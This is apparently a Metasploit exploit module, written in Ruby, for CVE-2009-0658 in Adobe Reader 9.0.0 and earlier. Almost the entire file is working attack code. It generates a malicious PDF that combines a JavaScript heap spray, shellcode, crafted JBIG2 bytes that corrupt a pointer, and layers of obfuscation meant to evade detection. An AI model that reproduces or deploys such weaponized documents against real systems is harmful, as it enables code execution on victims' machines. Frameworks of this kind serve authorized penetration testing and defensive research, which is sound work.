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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Adobe JBIG2Decode Memory Corruption',
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        'Description' => %q{
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          This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
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          This module relies upon javascript for the heap spray.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          # Metasploit implementation
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          'natron',
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          # bl4cksecurity blog explanation of vuln [see References]
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          'xort', 'redsand',
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          # obfuscation techniques and pdf template from util_printf
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          'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
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        ],
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        'References' => [
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          [ 'CVE', '2009-0658' ],
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          [ 'OSVDB', '52073' ]
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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          'DisablePayloadHandler' => true
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        },
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => ""
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)
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          [ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)
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        ],
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        'DisclosureDate' => '2009-02-19',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([
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      OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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    ])
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  end
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  def exploit
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    # Encode the shellcode.
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    shellcode	= Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    ptroverwrite	= Rex::Text.to_unescape([target.ret].pack("V"))
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    nops = Rex::Text.to_unescape(make_nops(4))
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    # Randomize some variables
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    rand1	= rand_text_alpha(rand(50) + 1)
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    rand2	= rand_text_alpha(rand(50) + 1)
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    rand3	= rand_text_alpha(rand(50) + 1)
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    rand4	= rand_text_alpha(rand(50) + 1)
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    rand5	= rand_text_alpha(rand(50) + 1)
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    rand6	= rand_text_alpha(rand(50) + 1)
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    rand7	= rand_text_alpha(rand(50) + 1)
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    rand8	= rand_text_alpha(rand(50) + 1)
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    rand9	= rand_text_alpha(rand(50) + 1)
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    rand10	= rand_text_alpha(rand(50) + 1)
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    rand11	= rand_text_alpha(rand(50) + 1)
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    rand12	= rand_text_alpha(rand(50) + 1)
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    rand13	= rand_text_alpha(rand(50) + 1)
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    rand14	= rand_text_alpha(rand(50) + 1)
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    rand15	= rand_text_alpha(rand(50) + 1)
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    rand16	= rand_text_alpha(rand(50) + 1)
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    script = %Q|
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    var #{rand1} = "";
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    var #{rand2} = "";
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    var #{rand3} = unescape("#{shellcode}");
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    var #{rand4} = "";
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    for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}");
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    #{rand6} = #{rand4} + #{rand3};
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    #{rand7} = unescape("#{nops}");
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    #{rand8} = 20;
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    #{rand9} = #{rand8}+#{rand6}.length
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    while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};
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    #{rand10} = #{rand7}.substring(0, #{rand9});
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    #{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});
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    while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};
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    #{rand12} = new Array();
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    for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};
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    for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");
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    #{rand13} = #{rand2}.length + 20
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    while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};
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    #{rand14} = #{rand2}.substring(0, #{rand13});
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    #{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});
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    while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};
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    #{rand16} = new Array();
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    for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};
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|
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    eaxptr	= "\x00\x20\x50\xff"	# CALL DWORD PTR DS:[EAX+20]
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    eaxp20ptr	= "\x05\x69\x50\x50"	# Shellcode location called by CALL DWORD PTR DS:[EAX+20]
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    modifier	= "\x00\x69\x00\x00"	# ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418
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    # natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000
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    # EAX: 0x690000   ECX: 0x2004a00   WriteAddr: 0xa3449ec
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    # EAX: 0x690000   ECX: 0x358a228   WriteAddr: 0xb8ca214
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    jbig2stream	= eaxptr + "\x40\x00" + modifier + eaxp20ptr
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    # Create the pdf
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    pdf = make_pdf(script, jbig2stream)
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    print_status("Creating '#{datastore['FILENAME']}' file...")
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    file_create(pdf)
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  end
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  def random_non_ascii_string(count)
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    result = ""
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    count.times do
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      result << (rand(128) + 128).chr
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    end
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    result
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  end
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  def io_def(id)
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    "%d 0 obj" % id
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  end
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  def io_ref(id)
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    "%d 0 R" % id
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  end
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  # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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  def n_obfu(str)
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    result = ""
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    str.scan(/./u) do |c|
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      if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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        result << "#%x" % c.unpack("C*")[0]
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      # Randomize the spaces and newlines
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      elsif c == " "
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        result << " " * (rand(3) + 1)
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        if rand(2) == 0
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          result << "\x0d\x0a"
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          result << " " * rand(2)
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        end
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      else
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        result << c
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      end
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    end
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    result
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  end
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  def ascii_hex_whitespace_encode(str)
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    result = ""
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    whitespace = ""
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    str.each_byte do |b|
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      result << whitespace << "%02x" % b
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      whitespace = " " * (rand(3) + 1)
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    end
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    result << ">"
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  end
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  def make_pdf(js, jbig2)
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    xref = []
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    eol = "\x0d\x0a"
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    endobj = "endobj" << eol
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    pdf = "%PDF-1.5" << eol
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    pdf << "%" << random_non_ascii_string(4) << eol
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    xref << pdf.length
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    pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj
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    xref << pdf.length
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    pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj
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    xref << pdf.length
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    pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj
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    xref << pdf.length
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    pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj
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    xref << pdf.length
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    pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj
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    xref << pdf.length
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    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5) + 4) # Add random 4-9 compression level
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    pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol
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    pdf << "stream" << eol
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    pdf << compressed << eol
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    pdf << "endstream" << eol
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    pdf << endobj
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    xref << pdf.length
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    pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol
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    xref << pdf.length
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    compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8) + 1) # Convert to ASCII hex, then deflate using random 1-9 compression
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    pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol
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    pdf << "stream" << eol
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    pdf << compressed << eol
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    pdf << "endstream" << eol
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    pdf << endobj
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    xrefPosition = pdf.length
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    pdf << "xref" << eol
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    pdf << "0 %d" % (xref.length + 1) << eol
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    pdf << "0000000000 65535 f" << eol
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    xref.each do |index|
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      pdf << "%010d 00000 n" % index << eol
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    end
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    pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol
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    pdf << "startxref" << eol
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    pdf << xrefPosition.to_s() << eol
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    pdf << "%%EOF" << eol
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  end
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end
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